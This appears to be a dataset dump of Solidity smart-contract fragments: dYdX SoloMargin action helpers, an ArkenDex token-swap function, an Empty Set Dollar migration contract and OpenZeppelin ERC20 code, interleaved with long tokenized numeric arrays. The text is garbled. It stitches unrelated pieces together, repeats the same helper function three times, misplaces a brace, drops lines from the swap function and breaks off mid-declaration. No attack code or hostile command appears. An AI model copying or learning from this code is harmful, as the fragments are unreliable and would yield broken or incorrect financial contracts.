returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) external view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) external; function ownerSetGlobalOperator(address operator1, bool approved) external; function transferOwnership(address newOwner) external; function getAdjustedAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) external view returns (Interest.Rate memory); } { ISoloMargin solo = ISoloMargin(_solo); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == token) { return i; } } revert("No marketId found for provided token"); } function _getRepaymentAmountInternal(uint256 amount) internal view returns (uint256) { return amount.add(2); } function _getAccountInfo() internal view returns (Account.Info memory) { } return Account.Info({owner: address(this), number: 1}); function _getWithdrawAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getWithdrawAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getWithdrawAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getDepositAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getDepositAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getDepositAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } }
3,326,469
[ 1, 413, 3186, 9705, 4186, 1493, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 463, 93, 13437, 11353, 383, 304, 2171, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 203, 565, 445, 389, 588, 3882, 278, 548, 1265, 1345, 1887, 12, 2867, 389, 87, 12854, 16, 1758, 1147, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 445, 3410, 694, 28719, 23890, 5077, 12, 11890, 5034, 13667, 548, 16, 11322, 18, 40, 5034, 3778, 15103, 23890, 5077, 13, 3903, 31, 203, 203, 565, 445, 14279, 5160, 5592, 12, 2867, 3726, 21, 13, 3903, 1476, 1135, 261, 6430, 1769, 203, 203, 565, 445, 23232, 278, 1345, 1887, 12, 11890, 5034, 13667, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 203, 565, 445, 3410, 694, 29281, 8465, 12, 11890, 5034, 13667, 548, 16, 1758, 16513, 8465, 13, 3903, 31, 203, 203, 565, 445, 23393, 1972, 12, 3032, 18, 966, 3778, 2236, 13, 3903, 1476, 1135, 261, 11415, 14911, 18, 620, 3778, 16, 26196, 18, 620, 3778, 1769, 203, 203, 565, 445, 23232, 278, 5147, 23601, 12, 11890, 5034, 13667, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 203, 565, 445, 23232, 278, 29281, 8465, 12, 11890, 5034, 13667, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 203, 565, 445, 23232, 278, 28719, 23890, 5077, 12, 11890, 5034, 13667, 548, 13, 3903, 1476, 1135, 261, 5749, 18, 40, 5034, 3778, 1769, 203, 203, 565, 445, 11187, 3882, 2413, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 3410, 1190, 9446, 8544, 5157, 12, 2 ]
./full_match/80001/0x27e0323fe590afeD1acA8Ce0332239C7434Af4b6/sources/project_/contracts/GOAL.sol
Note: for a real implementation, you should use initialize
contract GOAL is Erc20Mintable { pragma solidity ^0.8.0; constructor() Erc20Mintable("GOAL", "GOAL") { } }
5,592,694
[ 1, 8067, 30, 364, 279, 2863, 4471, 16, 1846, 1410, 999, 4046, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 12389, 1013, 353, 512, 1310, 3462, 49, 474, 429, 288, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 3885, 1435, 512, 1310, 3462, 49, 474, 429, 2932, 16387, 1013, 3113, 315, 16387, 1013, 7923, 288, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43114/0xd288A09f07C5AfBd65AEa7ba9534D5f830f9d1c6/sources/ArkenDexV2.sol
ETH => TOKEN TOKEN => ETH
function _tradeIUniswap( IERC20 _src, IERC20 _dest, uint256 inputAmount, uint256 minOutputAmount, address[] memory paths, address to, address dexAddr ) private returns (uint256[] memory amounts) { IUniswapV2Router02 uniRouter = IUniswapV2Router02(dexAddr); if (_ETH_ == address(_src)) { if (paths[0] == address(_ETH_)) { paths[0] = address(_WETH_); } minOutputAmount, paths, to, _DEADLINE_ ); if (paths[paths.length - 1] == address(_ETH_)) { paths[paths.length - 1] = address(_WETH_); } _increaseAllowance(_src, dexAddr, inputAmount); amounts = uniRouter.swapExactTokensForETH( inputAmount, minOutputAmount, paths, to, _DEADLINE_ ); amounts = uniRouter.swapExactTokensForTokens( inputAmount, minOutputAmount, paths, to, _DEADLINE_ ); }
4,582,029
[ 1, 1584, 44, 516, 14275, 14275, 516, 512, 2455, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 20077, 45, 984, 291, 91, 438, 12, 203, 3639, 467, 654, 39, 3462, 389, 4816, 16, 203, 3639, 467, 654, 39, 3462, 389, 10488, 16, 203, 3639, 2254, 5034, 810, 6275, 16, 203, 3639, 2254, 5034, 1131, 1447, 6275, 16, 203, 3639, 1758, 8526, 3778, 2953, 16, 203, 3639, 1758, 358, 16, 203, 3639, 1758, 302, 338, 3178, 203, 565, 262, 3238, 1135, 261, 11890, 5034, 8526, 3778, 30980, 13, 288, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 7738, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 561, 3178, 1769, 203, 3639, 309, 261, 67, 1584, 44, 67, 422, 1758, 24899, 4816, 3719, 288, 203, 5411, 309, 261, 4481, 63, 20, 65, 422, 1758, 24899, 1584, 44, 67, 3719, 288, 203, 7734, 2953, 63, 20, 65, 273, 1758, 24899, 59, 1584, 44, 67, 1769, 203, 5411, 289, 203, 7734, 1131, 1447, 6275, 16, 203, 7734, 2953, 16, 203, 7734, 358, 16, 203, 7734, 389, 1639, 1880, 5997, 67, 203, 5411, 11272, 203, 5411, 309, 261, 4481, 63, 4481, 18, 2469, 300, 404, 65, 422, 1758, 24899, 1584, 44, 67, 3719, 288, 203, 7734, 2953, 63, 4481, 18, 2469, 300, 404, 65, 273, 1758, 24899, 59, 1584, 44, 67, 1769, 203, 5411, 289, 203, 5411, 389, 267, 11908, 7009, 1359, 24899, 4816, 16, 302, 338, 3178, 16, 810, 6275, 1769, 203, 5411, 30980, 273, 7738, 8259, 18, 22270, 14332, 5157, 1290, 1584, 44, 12, 203, 7734, 810, 6275, 16, 203, 7734, 1131, 1447, 6275, 2 ]
/* Copyright 2021 Empty Set Squad <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/lifecycle/Pausable.sol"; import "../registry/RegistryAccessor.sol"; import "../lib/Decimal.sol"; import "../Interfaces.sol"; /** * @title Migrator * @notice Migration contract that allows users to burn their ESD v1 assets into Continuous ESDS * @dev Migration Properties: * - The ESDS:ESD ratio will be fixed once bonding is disabled by one of the migration preparation v1 EIPs * - All v1 ESD that is bonded will be burned as part of the migration process * - There will perpetually be outstanding v1 assets in the form of: * (1) Circulating v1 ESD * (2) Unredeemed underlying coupons * (3) ESDS stake in the v1 DAO * * This contract allows the batched conversion of a user's (1) circulating ESD and (3) ESDS stake, but * does not support directly converting from (2) unredeemed coupons (a user must redeem these beforehand) * * In order to initialize this contract, the Continuous ESD protocol must fund it with ESDS such that all * v1 assets can be redeemed. This should not be initialized until the v1 supply is fixed (e.g. regulation * paused, epoch advancement turned off, and governance frozen). In the event that this is not possible, * this contract may be topped up via governance after initialization if there is insufficient available ESDS. */ contract Migrator is RegistryAccessor, Pausable { using SafeMath for uint256; using Decimal for Decimal.D256; using SafeERC20 for IERC20; /** * @notice Emitted when `owner` initialized this contract after funding with at least `outstandingStake` ESDS */ event Initialized(address owner, uint256 outstandingStake); /** * @notice Emitted when `account` migrates `dollarAmount` v1 ESD and `stakeAmount` v1 ESDS */ event Migration(address account, uint256 dollarAmount, uint256 stakeAmount); /** * @notice Emitted when the owner withdraws `amount` ESDS to the reserve due to excess funding */ event Withdrawal(uint256 amount); /** * @notice Ratio of ESDS granted for ESD burned * @dev Determined based on the final bonding exchange rate in the v1 DAO */ Decimal.D256 public ratio; /** * @notice Address of the v1 ESD DAO */ IDAO public dao; /** * @notice Address of the v1 ESD stablecoin */ address public dollar; /** * @notice Construct the Migrator contract * @param ratio_ Ratio of ESDS granted for ESD burned * @param dao_ Address of the v1 ESD DAO * @param dollar_ Address of the v1 ESD stablecoin * @param registry_ Address of the Continuous ESDS contract registry */ constructor(uint256 ratio_, IDAO dao_, address dollar_, address registry_) public { ratio = Decimal.D256({value: ratio_}); dao = dao_; dollar = dollar_; setRegistry(registry_); pause(); } // ADMIN /** * @notice Initializes and unpauses the migrator contract for use * @dev Owner only - governance hook * Verifies that this contract is sufficiently funded - reverts if not */ function initialize() external onlyOwner { _verifyBalance(); unpause(); emit Initialized(owner(), outstandingStake()); } /** * @notice ESDS-equivalent value of the total outstanding v1 assets * @return Total ESDS value outstanding */ function outstandingStake() public view returns (uint256) { // Total supply of ESDS from bonded ESD uint256 bondedStake = dao.totalSupply(); // Total circulating ESD uint256 circulatingDollar = IERC20(dollar).totalSupply(); // Total ESD locked as coupon underlying uint256 circulatingCouponUnderlying = dao.totalCouponUnderlying(); // Convertible ESDS from total ESD supply uint256 circulatingStake = ratio.mul(circulatingDollar.add(circulatingCouponUnderlying)).asUint256(); return bondedStake.add(circulatingStake); } /** * @notice Allows the owner to withdraw `amount` ESDS to the reserve * @dev Owner only - governance hook * Verifies that this contract is sufficiently funded - reverts if not */ function withdraw(uint256 amount) external onlyOwner { IERC20(registry.stake()).safeTransfer(registry.reserve(), amount); _verifyBalance(); emit Withdrawal(amount); } /** * @notice Check that this contract is sufficiently funded with Continuous ESDS for the remaining * {outstandingStake} * @dev Internal only - helper * Verifies that this contract is sufficiently funded - reverts if not */ function _verifyBalance() private view { require(IERC20(registry.stake()).balanceOf(address(this)) >= outstandingStake(), "Migrator: insufficient funds"); } // MIGRATE /** * @notice Migrates `dollarAmount` v1 ESD and `stakeAmount` v1 ESDS for the caller to Continuous ESDS * @dev Contract must be initialized to call * @param dollarAmount Amount of v1 ESD to migrate * @param stakeAmount Amount of v1 ESDS to migrate */ function migrate(uint256 dollarAmount, uint256 stakeAmount) external whenNotPaused { _migrateDollar(msg.sender, dollarAmount); _migrateStake(msg.sender, stakeAmount); emit Migration(msg.sender, dollarAmount, stakeAmount); } /** * @notice Migrates `dollarAmount` v1 ESD for `account` to Continuous ESDS * @dev Internal only - helper * @param account Account to migrate funds for * @param dollarAmount Amount of v1 ESD to migrate */ function _migrateDollar(address account, uint256 dollarAmount) private { IERC20(dollar).safeTransferFrom(account, address(this), dollarAmount); IManagedToken(dollar).burn(dollarAmount); IERC20(registry.stake()).safeTransfer(account, ratio.mul(dollarAmount).asUint256()); } /** * @notice Migrates `stakeAmount` v1 ESDS for `account` to Continuous ESDS * @dev Internal only - helper * @param account Account to migrate funds for * @param stakeAmount Amount of v1 ESDS to migrate */ function _migrateStake(address account, uint256 stakeAmount) private { dao.burn(account, stakeAmount); IERC20(registry.stake()).safeTransfer(account, stakeAmount); } } /** * @title IDAO * @notice Interface for applicable functions on the v1 ESD DAO */ interface IDAO { /** * @notice Burns the `amount` v1 ESDS from `account` * @dev callable by the migrator contract only * @param account Account to burn funds from * @param amount Amount of v1 ESDS to burn */ function burn(address account, uint256 amount) external; /** * @notice Total supply of v1 ESDS tokens * @return v1 ESDS total supply */ function totalSupply() external view returns (uint256); /** * @notice Total amount of unredeemed v1 coupon underlying * @return v1 Total coupon underlying */ function totalCouponUnderlying() external view returns (uint256); }
* @notice Check that this contract is sufficiently funded with Continuous ESDS for the remaining {outstandingStake} @dev Internal only - helper Verifies that this contract is sufficiently funded - reverts if not/
function _verifyBalance() private view { require(IERC20(registry.stake()).balanceOf(address(this)) >= outstandingStake(), "Migrator: insufficient funds"); }
12,591,619
[ 1, 1564, 716, 333, 6835, 353, 18662, 715, 9831, 785, 598, 1816, 16295, 14054, 3948, 364, 326, 4463, 540, 288, 659, 15167, 510, 911, 97, 225, 3186, 1338, 300, 4222, 1377, 6160, 5032, 716, 333, 6835, 353, 18662, 715, 9831, 785, 300, 15226, 87, 309, 486, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 8705, 13937, 1435, 3238, 1476, 288, 203, 3639, 2583, 12, 45, 654, 39, 3462, 12, 9893, 18, 334, 911, 1435, 2934, 12296, 951, 12, 2867, 12, 2211, 3719, 1545, 20974, 510, 911, 9334, 315, 25483, 639, 30, 2763, 11339, 284, 19156, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-11-23 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function 